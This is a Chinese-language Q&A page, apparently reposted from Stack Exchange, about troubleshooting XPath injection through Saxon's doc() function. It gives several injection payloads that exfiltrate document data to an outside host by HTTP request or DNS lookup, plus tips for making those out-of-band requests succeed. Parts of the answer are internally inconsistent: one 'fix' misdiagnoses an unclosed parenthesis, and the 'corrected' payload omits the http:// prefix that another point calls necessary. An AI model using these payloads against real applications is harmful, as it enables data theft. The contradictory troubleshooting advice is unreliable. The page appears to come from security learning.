You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

XPath注入中doc()函数的DNS数据泄露问题排查及疑问

XPath注入中doc()函数DNS数据提取无响应问题排查

背景信息

我正在学习通过XPath的doc()函数多方式实现XPath注入,实验使用的查询语句如下:

String xquery = "/root/books/book[contains(title/text(), '" + query + "')]";

已支持XPath 2.0/3.0,且通过HTTP请求提取数据的方式已成功,示例payload:

test') and doc((concat('http://IP/data/?d=',(encode-for-uri((normalize-space((/*[1]/*[2]/*[2]/@*[2]))))))))/data=220248 and string('1'='1

本地XML文件读取问题(Docker环境)已解决,但通过DNS请求提取数据时无任何响应,测试过两个payload均无效:

  • 带数据提取的payload:test') and doc((concat(name((/*[2])) , '.domain.com'))) and string('1'='1
  • 基础测试payload:doc((concat('ABCTEST', '.domain.com' ))) and string('1'='1

环境信息:

  • XPath处理器:net.sf.saxon
  • 操作系统:Linux lubuntu 4.18.0-17-generic #18~18.04.1-Ubuntu
  • JDK:openjdk-11.0.9.1
  • 语言环境:LANG=C.UTF-8

可能的问题点及解决方案

1. Saxon处理器的外部资源访问限制

Saxon(尤其是开源HE版本)默认会限制外部网络资源的加载,防止安全风险。需要确认是否开启了外部资源访问权限:

  • 检查Saxon配置中是否启用了FeatureKeys.ALLOW_EXTERNAL_FUNCTIONS
  • 确认是否配置了允许的URI前缀或关闭了外部资源拦截

2. doc()函数的URI格式不合法

doc()函数要求传入标准URI,直接拼接域名(如ABCTEST.domain.com)缺少协议头(如http://),Saxon无法识别为有效资源地址,会导致请求失败或无响应。
修正思路:构造带HTTP协议头的URI,让Saxon发起HTTP请求从而触发DNS解析,示例:

test') and doc(concat('http://', name(/*[2]), '.domain.com/')) and '1'='1'

3. XPath语法闭合不完整

测试的payload存在语法问题:原查询语句拼接后,结尾的string('1'='1缺少闭合的),导致整个XPath语句语法错误,Saxon可能返回空结果而非报错。
修正后的基础测试payload:

test') and doc(concat('ABCTEST', '.domain.com')) and '1'='1'

拼接后完整XPath语句为:

/root/books/book[contains(title/text(), 'test') and doc(concat('ABCTEST', '.domain.com')) and '1'='1']

4. Docker容器的网络限制

Docker容器可能被配置了禁止外部DNS请求,或无法访问你的域名服务器:

  • 在容器内执行nslookup ABCTEST.domain.com,验证DNS请求是否能正常触发
  • 检查容器的网络模式(如是否为bridge模式)及防火墙规则

5. Saxon版本的特性差异

不同版本的Saxon对doc()函数的处理逻辑有差异:

  • 确认使用的Saxon版本是否支持通过HTTP URI触发DNS解析
  • 查阅对应版本的官方文档,确认外部资源加载的具体限制

内容的提问来源于stack exchange,提问作者jagghy

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.08.04 23:55:30